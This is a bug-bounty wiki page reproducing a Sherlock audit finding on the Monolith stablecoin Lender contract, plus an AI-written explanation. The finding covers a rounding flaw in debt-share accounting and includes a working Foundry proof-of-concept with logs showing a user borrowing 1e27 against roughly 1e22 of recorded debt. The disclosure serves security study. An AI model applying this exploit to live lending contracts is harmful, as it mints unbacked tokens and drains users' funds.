Skip to content
Business logic Audit finding Advanced

User can abuse rounding issue in order to borrow unbacked tokens

A rounding flaw in the debt share accounting lets a user inflate the ratio of free debt shares to free debt, then manipulate the rounding of individual debts to make total free debt zero while a huge number of shares remain. This allows borrowing a very large amount of tokens with almost no collateral, effectively minting unbacked tokens.

0xc0ffEE Follow with Audittens, SOPROBRO and 7 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory-judging/issues/734

Found by

0xc0ffEE, Audittens, SOPROBRO, Uddercover, Valves, bughuntoor, dandan, deadmanwalking, songyuqi, wickie

Summary

Using multiple steps, user can abuse a rounding issue to borrow unbacked tokens. First, using the redeem method, the user can inflate the freeShares/ freeDebt ratio. When it exceeds 1e9 it debases by 1e18. However, the user can simply do debts of higher than 1e18, and redeeming all but 1 wei, basically inflating the ratio even after the debasement.

Solidity
        if (totalFreeDebtShares / totalFreeDebt > 1e9) {
            epoch++;
            totalFreeDebtShares = totalFreeDebtShares.mulDivUp(1e18, 1e36);
            emit NewEpoch(epoch);
        }

Using this, the user can obtain a really large amount of debt shares (such as 1e32). Then, it is important to know that each user's debt is rounded up. So if we have two users and all but 1 wei is redeemed, both user's personal debts will be 1.

So if the user has large amount of debt shares on 1 wallet, and debt on another wallet, they can redeem all but 1 wei and both wallets will still have debt. Then, the user can repay the debt on the 2nd wallet, which would make the totalFreeDebt == 0 while totalFreeDebtShares == 1e32. Then, they can go on a third wallet and make a new borrow. Since totalFreeDebt is 0, debt shares will be minted 1:1

Solidity
    function increaseDebt(address account, uint256 amount) internal {
        if (isRedeemable[account]) {
            // Handle free debt
            uint256 shares = totalFreeDebt == 0 ? amount : amount.mulDivUp(totalFreeDebtShares, totalFreeDebt);

This means that a user can make a borrow for 1e27 ($1b) and they'll receive 1e27 shares. However, total shares are >1e32, so the newly minted debt shares will be worth only 1e27 * 1e27 / 1e32 = 1e22 debt, effectively allowing the user to mint $1b out of thin air.

Note that the attack can be performed at any time, as even if there are active free debt users, user can simply redeem them and perform the attack.

Root Cause

Rounding issue.

Affected Code

https://github.com/sherlock-audit/2025-12-monolith-stablecoin-factory/blob/main/Monolith/src/Lender.sol#L606

Attack Path

Check PoC

Impact

Draining of all funds

PoC

Solidity
        function test_drain() public {
            address user = address(1);

            ERC20Mock collateral = ERC20Mock(address(lender.collateral()));
            ERC20Mock coin = ERC20Mock(address(lender.coin()));

            vm.startPrank(user);
            collateral.mint(user, 1e40);
            coin.mint(user, 1e40);
            collateral.approve(address(lender), type(uint256).max);
            coin.approve(address(lender), type(uint256).max);

            lender.setRedemptionStatus(user, true);

            for (uint256 i; i < 7; i++) {
                lender.adjust(user, 1e23, 1e22);
                uint256 totalFreeDebt = lender.totalFreeDebt();
                lender.redeem(totalFreeDebt - 1, 0);
            }

            lender.adjust(user, 1e23, 1e22);

            address user2 = address(2);
            collateral.mint(user2, 1e23);
            vm.startPrank(user2);
            collateral.approve(address(lender), type(uint256).max);
            lender.setRedemptionStatus(user2, true);
            lender.adjust(user2, 1e23, 1e22);

            vm.startPrank(user);

            uint256 totalFreeDebt = lender.totalFreeDebt();
            coin.mint(user, totalFreeDebt);

            lender.redeem(totalFreeDebt - 1, 0);

            console.log("%e", lender.totalFreeDebtShares());
            console.log(lender.totalFreeDebt());

            vm.startPrank(user2);
            coin.approve(address(lender), type(uint256).max);
            lender.adjust(user2, 0, -1);

            console.log("%e", lender.totalFreeDebtShares());
            console.log(lender.totalFreeDebt());
            
            vm.startPrank(user2);
            // user2 has ~1e22 collateral, but is able to borrow 1e27;
            lender.adjust(user2, 0, 1e27);
            uint256 debt = lender.getDebtOf(user2);
            console.log("debt %e", debt); // user borrowed 1e27, but has only 1e22 debt

        }

Logs:

JavaScript
[PASS] test_drain() (gas: 1138922)
Logs:
  2.00000002000200020002050200020101e32
  1
  1.00000001000100010001030100010101e32
  0
  debt 9.999899900991990170185e21

Mitigation

fix is non-trivial.

The original report as published on Sherlock, by 0xc0ffEE. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a rounding error in the calculation of debt shares when total free debt is zero, combined with a debasement mechanism that can be bypassed by inflating the ratio again.

Impact

The attacker can borrow a very large amount of tokens (e.g., $1 billion) with minimal collateral, effectively minting unbacked tokens and potentially draining all funds.

What the attacker needed

Ability to call adjust and redeem; redemption status enabled; some initial collateral and coins

The fix

The rounding logic in debt share calculations should be revised to prevent manipulation of the free debt shares to free debt ratio and to ensure that debt shares are not minted 1:1 when total free debt is zero but shares are inflated.

How it was found

  1. The attacker repeatedly calls adjust to create debt and then redeem to leave only 1 wei of debt, inflating the free shares to free debt ratio.
  2. After several iterations, the ratio exceeds the debasement threshold and shares are scaled down, but the attacker continues the process to inflate the ratio again.
  3. A second user is introduced with some collateral and redemption status, and the attacker redeems almost all debt again, leaving total free debt at 1 wei.
  4. The second user repays their debt, making total free debt zero while total free debt shares remain extremely large.
  5. The second user then borrows a huge amount (1e27) and receives shares 1:1, but the debt recorded is only a tiny fraction of the borrowed amount.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The system tracks debt using shares, and the value of each share depends on a ratio. By repeatedly redeeming almost all debt, an attacker can make that ratio extremely large. Then, by exploiting how debts are rounded up, they can make the total debt appear zero while still holding a huge number of shares, so new borrows create shares at a 1:1 rate and the attacker can borrow far more than their collateral should allow.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0xc0ffEE

View all

27 more disclosed reports, best first.

More from Monolith Stablecoin Factory

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.